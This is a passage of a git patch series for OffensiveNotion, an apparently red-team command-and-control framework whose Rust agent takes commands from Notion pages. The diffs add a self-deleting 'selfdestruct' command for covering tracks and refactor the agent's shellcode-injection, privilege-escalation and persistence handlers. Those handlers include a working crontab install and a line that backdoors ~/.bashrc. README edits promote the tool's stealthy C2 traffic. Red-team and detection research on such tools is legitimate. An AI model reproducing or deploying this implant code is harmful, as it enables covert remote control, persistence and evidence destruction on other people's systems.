"0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } winreg = "0.10" +houdini = "1.0.2" + [profile.dev] opt-level = 0 diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index fcecdfc..2d49634 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -24,6 +24,7 @@ mod sleep; mod shutdown; mod whoami; mod unknown; +mod selfdestruct; /// All the possible command types. Some have command strings, and some don't. pub enum CommandType { @@ -37,6 +38,7 @@ pub enum CommandType { Ps, Pwd, Save, + Selfdestruct, Runas, Shell, Shutdown, @@ -156,6 +158,7 @@ impl NotionCommand { "pwd" => CommandType::Pwd, "runas" => CommandType::Runas, "save" => CommandType::Save, + "selfdestruct" => CommandType::Selfdestruct, "shell" => CommandType::Shell, "shutdown" => CommandType::Shutdown, "sleep" => CommandType::Sleep, @@ -182,6 +185,7 @@ impl NotionCommand { CommandType::Pwd => pwd::handle().await, CommandType::Runas => runas::handle(&self.args).await, CommandType::Save => save::handle(&mut self.args, config_options).await, + CommandType::Selfdestruct => selfdestruct::handle().await, CommandType::Shell => shell::handle(&mut self.args).await, CommandType::Shutdown => shutdown::handle().await, CommandType::Sleep => sleep::handle(&mut self.args, config_options).await, diff --git a/agent/src/cmd/selfdestruct.rs b/agent/src/cmd/selfdestruct.rs new file mode 100644 index 0000000..3f2f893 --- /dev/null +++ b/agent/src/cmd/selfdestruct.rs @@ -0,0 +1,38 @@ +use std::error::Error; +use std::env::args; +use std::fs::remove_file; +#[cfg(windows)] use houdini; +#[cfg(windows)] use rand::{thread_rng, Rng}; +#[cfg(windows)] use rand::distributions::Alphanumeric; + + +pub async fn handle() -> Result> { + /// Performs some OPSEC cleanups, deletes itself from disk, and kills the agent. + /// Burn after reading style. + /// For Windows, makes use of Yamakadi's fantastic houdini crate, based on jonaslyk's self-deleting binary research and byt3bl33d3r's Nim POC + /// For Nix, just deletes arg[0] lol. + /// Usage: selfdestruct 🎯 + + // TODO: Overwrite proc memory with junk + + // Delete bin on disk + + #[cfg(windows)] { + let rand_string: String = thread_rng() + .sample_iter(&Alphanumeric) + .take(12) + .map(char::from) + .collect(); + + houdini::disappear_with_placeholder(rand_string); + } + + #[cfg(not(windows))] { + let running_agent: String = args().nth(0).unwrap(); + remove_file(running_agent)?; + } + + // Shutdown agent + // In main.rs, shutdown::handle exits the current running process + Ok("[!] This agent will now self-destruct!\n[!] 3...2...1...💣💥!".to_string()) +} \ No newline at end of file diff --git a/agent/src/main.rs b/agent/src/main.rs index ec251a6..f9d3fb3 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -144,6 +144,7 @@ async fn main() -> Result<(), Box> { // Like shutting down the agent match notion_command.command_type { CommandType::Shutdown => {exit(0);}, + CommandType::Selfdestruct => {exit(0)}, _ => {} } }; From a6690c695b8659d2ece5277cd97b340b787a64a0 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 9 Mar 2022 19:32:26 -0800 Subject: [PATCH 52/99] Start on notion_out macro --- agent/src/cmd/cd.rs | 6 +++--- agent/src/cmd/elevate.rs | 16 ++++++++-------- agent/src/cmd/mod.rs | 7 +++++++ 3 files changed, 18 insertions(+), 11 deletions(-) diff --git a/agent/src/cmd/cd.rs b/agent/src/cmd/cd.rs index 3e4ff22..4f19d10 100755 --- a/agent/src/cmd/cd.rs +++ b/agent/src/cmd/cd.rs @@ -1,7 +1,7 @@ use std::error::Error; use std::path::Path; use std::env::set_current_dir; -use crate::cmd::CommandArgs; +use crate::cmd::{CommandArgs, notion_out}; /// Changes the directory using system tools /// Rather than the shell @@ -9,8 +9,8 @@ pub fn handle(cmd_args: &mut CommandArgs) -> Result> { let path_arg = cmd_args.nth(0).unwrap_or_else(|| ".".to_string()); let new_path = Path::new(&path_arg); match set_current_dir(new_path) { - Ok(_) => Ok(format!("Changed to {path_arg}").to_string()), - Err(e) => Ok(e.to_string()) + Ok(_) => notion_out!("Changed to {path_arg}"), + Err(e) => notion_out!("{e}") } } diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index f768c82..3d32da0 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -2,7 +2,7 @@ use std::error::Error; use sysinfo::{System, SystemExt, UserExt}; use whoami::username; use crate::config::ConfigOptions; -use crate::cmd::CommandArgs; +use crate::cmd::{CommandArgs, notion_out}; use std::env::args; use std::process::Command; #[cfg(windows)] use std::env::{var}; @@ -57,7 +57,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio let pwd = cmd_args.nth(0).unwrap(); // Check for empty pw if pwd.is_empty() { - return Ok("Need a sudo password!".to_string()); + return notion_out!("Need a sudo password!"); } let encoded_config = config_options.to_base64(); let agent_path = args().nth(0).unwrap(); @@ -66,9 +66,9 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio .arg("-c") .arg(cmd_string) .spawn()?; - Ok("Elevation attempted. Look for the new agent!".to_string()) + notion_out!("Elevation attempted. Look for the new agent!") } - _ => Ok("Unknown elevation method".to_string()) + _ => notion_out!("Unknown elevation method") } } @@ -107,24 +107,24 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio std::time::Duration::from_secs(1); std::thread::sleep(sleep_time); } - Ok("Elevation attempted. Look for the new agent!".to_string()) + notion_out!("Elevation attempted. Look for the new agent!") }, Err(e) => { return Ok(e.to_string())} } } else { - Ok("Couldn't get APPDATA location".to_string()) + notion_out!("Couldn't get APPDATA location") } } _ => { - Ok("Elevation unavailable".to_string()) + notion_out!("Elevation unavailable") } } } } else { - Ok("Elevation unavailable".to_string()) + notion_out!("Elevation unavailable") } } \ No newline at end of file diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 2d49634..7f51372 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -26,6 +26,13 @@ mod whoami; mod unknown; mod selfdestruct; +macro_rules! notion_out { + ($s:literal) => { + Ok(format!($s).to_string()) + }; +} +pub(crate) use notion_out; + /// All the possible command types. Some have command strings, and some don't. pub enum CommandType { Cd, From b165bd90686c6da93c531e5e4c1d0a9ea7652fb1 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 9 Mar 2022 21:28:38 -0800 Subject: [PATCH 53/99] notion_out! macro for output --- agent/src/cmd/download.rs | 8 +++--- agent/src/cmd/getprivs.rs | 3 ++- agent/src/cmd/inject.rs | 28 ++++++++++----------- agent/src/cmd/persist.rs | 46 +++++++++++++++++------------------ agent/src/cmd/portscan.rs | 4 +-- agent/src/cmd/pwd.rs | 3 ++- agent/src/cmd/save.rs | 6 ++--- agent/src/cmd/selfdestruct.rs | 3 ++- agent/src/cmd/shell.rs | 2 +- agent/src/cmd/shutdown.rs | 3 ++- agent/src/cmd/sleep.rs | 4 +-- agent/src/cmd/unknown.rs | 3 ++- 12 files changed, 59 insertions(+), 54 deletions(-) diff --git a/agent/src/cmd/download.rs b/agent/src/cmd/download.rs index 4fc1234..5b9723e 100755 --- a/agent/src/cmd/download.rs +++ b/agent/src/cmd/download.rs @@ -2,7 +2,7 @@ use std::error::Error; use std::io::copy; use reqwest::Client; use std::fs::File; -use crate::cmd::CommandArgs; +use crate::cmd::{CommandArgs, notion_out}; use crate::logger::Logger; /// Downloads a file to the local system. @@ -21,11 +21,11 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok(format!("{b} bytes written to {path}").to_string());}, - Err(_) => { return Ok("Could not write file".to_string()); } + Ok(b) => { return notion_out!("{b} bytes written to {path}");}, + Err(_) => { return notion_out!("Could not write file"); } } } else { - return Ok("Could not write file".to_string()); + return notion_out!("Could not write file"); } } Ok(r.text().await?) diff --git a/agent/src/cmd/getprivs.rs b/agent/src/cmd/getprivs.rs index b099034..dd0ffa5 100755 --- a/agent/src/cmd/getprivs.rs +++ b/agent/src/cmd/getprivs.rs @@ -1,5 +1,6 @@ use std::error::Error; use is_root::is_root; +use crate::cmd::notion_out; #[cfg(windows)] use std::ptr::null_mut; #[cfg(windows)] use winapi::um::handleapi::CloseHandle; @@ -53,6 +54,6 @@ pub async fn handle() -> Result> { // TODO: Implement Linux check let is_admin = is_elevated(); println!("{}", is_admin); - Ok(String::from(format!("Admin Context: {is_admin}").to_string())) + notion_out!("Admin Context: {is_admin}") } \ No newline at end of file diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 430fb10..90372cf 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -1,6 +1,6 @@ use std::error::Error; use crate::logger::Logger; -use crate::cmd::CommandArgs; +use crate::cmd::{CommandArgs, notion_out}; use base64::decode as b64_decode; #[cfg(windows)] extern crate winapi; @@ -148,7 +148,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok("Could not parse URL".to_string()); } + None => { return notion_out!("Could not parse URL"); } }; // Get b64_iterations @@ -157,10 +157,10 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result() { b64_iterations = b; } else { - return Ok("Could not parse b64 iterations".to_string()); + return notion_out!("Could not parse b64 iterations"); } }, - None => { return Ok("Could not extract b64 iterations".to_string()); } + None => { return notion_out!("Could not extract b64 iterations"); } }; // CALL get_shellcode @@ -190,7 +190,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result Ok("Unknown injection type!".to_string()) + _ => notion_out!("Unknown injection type!") } } else { - return Ok("Could not parse URL".to_string()); + return notion_out!("Could not parse URL"); } @@ -324,7 +324,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok("Could not parse URL".to_string()); } + None => { return notion_out!("Could not parse URL"); } }; // Get filename @@ -333,7 +333,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok("Could not parse filename".to_string()); } + None => { return notion_out!("Could not parse filename"); } }; let mut download_args = CommandArgs::from_string( @@ -362,17 +362,17 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok("Unknown injection method!".to_string()) ;} + _ => { return notion_out!("Unknown injection method!") ;} } } else { - return Ok("No injection type provided!".to_string()); + return notion_out!("No injection type provided!"); } } #[cfg(macos)] pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { - Ok("Inject not available on macOS!".to_string()) + notion_out!("Inject not available on macOS!") } \ No newline at end of file diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 7d122a4..f95a81b 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -1,7 +1,7 @@ use std::error::Error; use std::env::{var, args}; use is_root::is_root; -use crate::cmd::{CommandArgs, shell, save}; +use crate::cmd::{CommandArgs, shell, save, notion_out}; #[cfg(not(windows))] use std::fs::{create_dir, copy, write}; #[cfg(windows)] use std::path::Path; #[cfg(windows)] use winreg::{RegKey}; @@ -42,7 +42,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio Err(e) => { return Ok(e.to_string())} } } else { - return Ok("Couldn't get APPDATA location".to_string()); + return notion_out!("Couldn't get APPDATA location"); }; }, "registry" => { @@ -61,9 +61,9 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio REG_OPENED_EXISTING_KEY => logger.info("An existing key has been opened".to_string()), }; key.set_value("Notion", &persist_path)?; - Ok("Persistence accomplished".to_string()) + notion_out!("Persistence accomplished") } else { - Ok("LOCALDATA undefined".to_string()) + notion_out!("LOCALDATA undefined") } }, "wmic" => { @@ -112,11 +112,11 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio } } else { - return Ok("Could not locate APPDATA.".to_string()); + return notion_out!("Could not locate APPDATA."); } } else{ - return Ok("[-] WMIC persistence requires admin privileges.".to_string()); + return notion_out!("[-] WMIC persistence requires admin privileges."); } }, "schtasks" => { @@ -163,17 +163,17 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio } } else { - return Ok("Could not locate APPDATA.".to_string()); + return notion_out!("Could not locate APPDATA."); } } else{ - return Ok("[-] Scheduled task persistence requires admin privileges.".to_string()); + return notion_out!("[-] Scheduled task persistence requires admin privileges."); } }, - _ => Ok("That's not a persistence method!".to_string()) + _ => notion_out!("That's not a persistence method!") } } @@ -201,12 +201,12 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio format!("(crontab -l 2>/dev/null; echo '{cron_string}') | crontab - ") ); if let Ok(_) = shell::handle(&mut cron_args).await { - Ok("Cronjob added!".to_string()) + notion_out!("Cronjob added!") } else { - Ok("Could not make cronjob".to_string()) + notion_out!("Could not make cronjob") } } else { - Ok("Could not copy app to destination".to_string()) + notion_out!("Could not copy app to destination") } } "bashrc" => { @@ -223,12 +223,12 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio vec![format!("echo '{app_dir}/notion -b {b64_config} & disown' >> ~/.bashrc ")] ); if let Ok(_) = shell::handle(&mut bashrc_args).await { - Ok("Bash Backdoored!".to_string()) + notion_out!("Bash Backdoored!") } else { - Ok("Could not modify bashrc".to_string()) + notion_out!("Could not modify bashrc") } } else { - Ok("Could not copy app to destination".to_string()) + notion_out!("Could not copy app to destination") } }, "service" => { @@ -262,13 +262,13 @@ WantedBy=multi-user.target" ); return shell::handle(&mut systemd_args).await; } else { - return Ok("Could not copy service file".to_string()); + return notion_out!("Could not copy service file"); } } else { - return Ok("Need to be root first. Try elevate.".to_string()); + return notion_out!("Need to be root first. Try elevate."); } }, - _ => Ok("Unknown persistence method!".to_string()) + _ => notion_out!("Unknown persistence method!") } } @@ -295,12 +295,12 @@ WantedBy=multi-user.target" vec![osascript_string] ); if let Ok(_) = shell::handle(&mut applescript_args).await { - Ok("Login item created!".to_string()) + notion_out!("Login item created!") } else { - Ok("Could not create login item".to_string()) + notion_out!("Could not create login item") } } else { - Ok("Could not copy app to destination".to_string()) + notion_out!("Could not copy app to destination") } }, @@ -344,10 +344,10 @@ r#" )?; Ok(format!("LaunchAgent written to {launch_agent_dir}")) } else { - return Ok("Could not copy app to destination".to_string()); + return notion_out!("Could not copy app to destination"); } }, - _ => Ok("Unknown persistence method!".to_string()) + _ => notion_out!("Unknown persistence method!") } } diff --git a/agent/src/cmd/portscan.rs b/agent/src/cmd/portscan.rs index 7e9a76a..39549da 100755 --- a/agent/src/cmd/portscan.rs +++ b/agent/src/cmd/portscan.rs @@ -7,7 +7,7 @@ use cidr_utils::cidr::IpCidr; use tokio::net::TcpStream; use tokio::sync::mpsc::channel; use crate::logger::Logger; -use crate::cmd::CommandArgs; +use crate::cmd::{CommandArgs, notion_out}; /// Common ports to scan. @@ -140,7 +140,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result().unwrap_or_else(|_| 1000); diff --git a/agent/src/cmd/pwd.rs b/agent/src/cmd/pwd.rs index f94e577..50108ab 100755 --- a/agent/src/cmd/pwd.rs +++ b/agent/src/cmd/pwd.rs @@ -1,10 +1,11 @@ use std::error::Error; use std::env::current_dir; +use crate::cmd::notion_out; /// Prints working directory. pub async fn handle() -> Result> { match current_dir() { Ok(b) => Ok(String::from(b.to_str().unwrap())), - Err(e) => Ok(format!("{e}").to_string()) + Err(e) => notion_out!("{e}") } } \ No newline at end of file diff --git a/agent/src/cmd/save.rs b/agent/src/cmd/save.rs index 8a6a42b..1703f86 100755 --- a/agent/src/cmd/save.rs +++ b/agent/src/cmd/save.rs @@ -2,7 +2,7 @@ use std::error::Error; use std::fs::write; use serde_json::to_string as json_to_string; // use relative_path::RelativePath; -use crate::cmd::{CommandArgs, ConfigOptions}; +use crate::cmd::{CommandArgs, ConfigOptions, notion_out}; /// Saves the agent to the given path. /// @@ -12,7 +12,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio config_options.config_file_path = save_path.to_owned(); // let write_path = RelativePath::new(config_options.config_file_path.as_str()); match write(&config_options.config_file_path, json_to_string(config_options)?) { - Ok(_) => Ok(format!("Config file saved to {save_path}").to_string()), - Err(e) => Ok(format!("{e}")) + Ok(_) => notion_out!("Config file saved to {save_path}"), + Err(e) => notion_out!("{e}") } } \ No newline at end of file diff --git a/agent/src/cmd/selfdestruct.rs b/agent/src/cmd/selfdestruct.rs index 3f2f893..2a75a95 100644 --- a/agent/src/cmd/selfdestruct.rs +++ b/agent/src/cmd/selfdestruct.rs @@ -4,6 +4,7 @@ use std::fs::remove_file; #[cfg(windows)] use houdini; #[cfg(windows)] use rand::{thread_rng, Rng}; #[cfg(windows)] use rand::distributions::Alphanumeric; +use crate::cmd::notion_out; pub async fn handle() -> Result> { @@ -34,5 +35,5 @@ pub async fn handle() -> Result> { // Shutdown agent // In main.rs, shutdown::handle exits the current running process - Ok("[!] This agent will now self-destruct!\n[!] 3...2...1...💣💥!".to_string()) + notion_out!("[!] This agent will now self-destruct!\n[!] 3...2...1...💣💥!") } \ No newline at end of file diff --git a/agent/src/cmd/shell.rs b/agent/src/cmd/shell.rs index 8f4d67d..71956f4 100755 --- a/agent/src/cmd/shell.rs +++ b/agent/src/cmd/shell.rs @@ -42,5 +42,5 @@ pub async fn handle(cmd_args: &mut CommandArgs) -> Result } else { output_string = String::from_utf8(output.stdout).unwrap(); } - return Ok(output_string); + Ok(output_string) } \ No newline at end of file diff --git a/agent/src/cmd/shutdown.rs b/agent/src/cmd/shutdown.rs index 67d386e..c3e0768 100755 --- a/agent/src/cmd/shutdown.rs +++ b/agent/src/cmd/shutdown.rs @@ -1,6 +1,7 @@ use std::error::Error; +use crate::cmd::notion_out; /// Kills the agent. pub async fn handle() -> Result> { - Ok("Shutting down".to_string()) + notion_out!("Shutting down") } \ No newline at end of file diff --git a/agent/src/cmd/sleep.rs b/agent/src/cmd/sleep.rs index e875e8a..7af87a6 100755 --- a/agent/src/cmd/sleep.rs +++ b/agent/src/cmd/sleep.rs @@ -1,5 +1,5 @@ use std::error::Error; -use crate::cmd::{CommandArgs, ConfigOptions}; +use crate::cmd::{CommandArgs, ConfigOptions, notion_out}; /// Modifies the sleep and jitter times /// @@ -17,5 +17,5 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio .unwrap_or_else(|_| config_options.jitter_time); config_options.sleep_interval = sleep_interval; config_options.jitter_time = jitter_time; - Ok(format!("[+] Sleep time: {sleep_interval}, Jitter time: {jitter_time}")) + notion_out!("[+] Sleep time: {sleep_interval}, Jitter time: {jitter_time}") } \ No newline at end of file diff --git a/agent/src/cmd/unknown.rs b/agent/src/cmd/unknown.rs index 04e19a1..47c99d2 100755 --- a/agent/src/cmd/unknown.rs +++ b/agent/src/cmd/unknown.rs @@ -1,6 +1,7 @@ use std::error::Error; +use crate::cmd::notion_out; /// Handles any weirdo commands that can't be interpreted. pub async fn handle() -> Result> { - Ok("[-] Unknown command type".to_string()) + notion_out!("[-] Unknown command type") } \ No newline at end of file From 94a75b0bc8d7cafa3bf0943376792d76b76c23ef Mon Sep 17 00:00:00 2001 From: HuskyHacks <57866415+HuskyHacks@users.noreply.github.com> Date: Sat, 12 Mar 2022 11:58:41 -0500 Subject: [PATCH 54/99] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c64490e..2264576 100755 --- a/README.md +++ b/README.md @@ -34,9 +34,11 @@ Here's our blog post about it: [We Put A C2 In Your Notetaking App: OffensiveNot ## Features * 📡 A full-featured C2 platform built on the Notion notetaking app. * 🚧 Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy! -* 🖥️ Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base. +* 🖥️ Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base. Includes a Python setup/controller script to simplify the process. * ☢️ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page! * 📜 Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation. +* 🤝 Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver! +* 📱Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world. * 🕵️‍♀️ Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose. ## Quickstart From 8313b7130d83c83610ba0da0bae6e9ac0831bda1 Mon Sep 17 00:00:00 2001 From: HuskyHacks <57866415+HuskyHacks@users.noreply.github.com> Date: Sat, 12 Mar 2022 12:02:18 -0500 Subject: [PATCH 55/99] Update README.md --- README.md | 85 ------------------------------------------------------- 1 file changed, 85 deletions(-) diff --git a/README.md b/README.md index 2264576..32847c6 100755 --- a/README.md +++ b/README.md @@ -46,91 +46,6 @@ See the [Quickstart guide](https://github.com/mttaggart/OffensiveNotion/wiki/2.- ## Documentation Please see the [Wiki][wiki] for setup, usage, commands, and more! - -## v1.0.0 - "Iron Age" -### MUST - -
- Done - - ### Documentation -- [x] Quickstart -- [x] Install -- [x] Agent interaction - - [x] Commands - - [x] Linux commands - - [x] Windows commands - -#### Misc -- [x] YARA Rules -#### Setup -- [x] Python Setup Script for config options -- [x] Dynamic Docker container spin up/tear down for agent generation -- [x] Parse args for Docker build options - -#### Agent -- Commands: - - [x] `shell` - - [x] `cd` - - [x] `download` - - [x] `ps` - - [x] `pwd` - - [x] `save` - - [x] `shutdown` - - [x] `sleep [#]` to adjust callback - -
- -### SHOULD - -
- Done - -#### Agent -- [x] Jitter interval for callback time -- Commands: - - [x] `getprivs` - - [x] `sleep [#][%]` to adjust callback and jitter - - [x] `portscan` -- [x] Linux `elevate sudo` -- [x] Windows `elevate fodhelper` -- [x] Linux `persist bashrc` -- [x] Linux `persist cron` -- [x] Linux `persist service` -- [x] Windows `inject` -- [x] Windows `persist startup` -- [x] Windows `persist registry` - -- Persist: - - [x] Windows `persist schtasks` - - [x] (Bonus) `wmic` - -
- -### COULD - -
- Done - -- [x] Compiles with Notion icon -- [x] Mirror the notion.ico file 😈 (slightly red tint to logo) -- [x] "Web delivery" via Flask and one-liner for remote download/exec (https://www.offensive-security.com/metasploit-unleashed/web-delivery/) -- [x] Agent checks in by POSTing hostname and username to page title with asterisk if in an admin context (getprivs at checkin) -- [x] Agent can spawn in kiosk mode Notion.so page at startup - -
- -
- For Next Release - - - [ ] Linux `persist rc.local` - - [ ] Linux `inject` (more of a shellcode runner than injection) - - [ ] Windows `runas` (SCshell) - - [ ] Windows `inject-assembly` (⚠️ large lift ⚠️) - - [ ] (Bonus) Windows `persist comhijack` - - [ ] (Bonus) Windows `persist xll` - -
## Thanks & Acknowledgements From 61964ff3e41374bf41f376ccd5d1c598d4d4e686 Mon Sep 17 00:00:00 2001 From: HuskyHacks <57866415+HuskyHacks@users.noreply.github.com> Date: Sat, 12 Mar 2022 12:06:45 -0500 Subject: [PATCH 56/99] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 32847c6..455892b 100755 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ Here's our blog post about it: [We Put A C2 In Your Notetaking App: OffensiveNot ## Features * 📡 A full-featured C2 platform built on the Notion notetaking app. * 🚧 Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy! -* 🖥️ Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base. Includes a Python setup/controller script to simplify the process. +* 🖥️ Cross-platform agent built in Rust that compiles for Linux, Windows, and macOS with the same code base. Includes a Python setup/controller script to simplify the process. * ☢️ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page! * 📜 Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation. * 🤝 Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver! From 464a853d1f13d1729726db0d42fe1e0fe60a7813 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 12 Mar 2022 15:51:18 -0500 Subject: [PATCH 57/99] adding requirements.txt for main.py --- requirements.txt | 103 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..daae3ca --- /dev/null +++ b/requirements.txt @@ -0,0 +1,103 @@ +certifi==2021.10.8; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" \ + --hash=sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569 \ + --hash=sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872 +charset-normalizer==2.0.10; python_full_version >= "3.6.0" and python_version >= "3" \ + --hash=sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd \ + --hash=sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455 +click==8.0.3; python_version >= "3.6" \ + --hash=sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3 \ + --hash=sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b +colorama==0.4.4; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.5.0") \ + --hash=sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2 \ + --hash=sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b +flask==2.0.2; python_version >= "3.6" \ + --hash=sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a \ + --hash=sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2 +idna==3.3; python_version >= "3.5" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.5" \ + --hash=sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff \ + --hash=sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d +itsdangerous==2.0.1; python_version >= "3.6" \ + --hash=sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c \ + --hash=sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0 +jinja2==3.0.3; python_version >= "3.6" \ + --hash=sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8 \ + --hash=sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7 +markupsafe==2.0.1; python_version >= "3.6" \ + --hash=sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53 \ + --hash=sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38 \ + --hash=sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad \ + --hash=sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d \ + --hash=sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646 \ + --hash=sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b \ + --hash=sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a \ + --hash=sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a \ + --hash=sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28 \ + --hash=sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134 \ + --hash=sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51 \ + --hash=sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff \ + --hash=sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b \ + --hash=sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94 \ + --hash=sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872 \ + --hash=sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f \ + --hash=sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c \ + --hash=sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724 \ + --hash=sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145 \ + --hash=sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd \ + --hash=sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f \ + --hash=sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6 \ + --hash=sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d \ + --hash=sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9 \ + --hash=sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567 \ + --hash=sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18 \ + 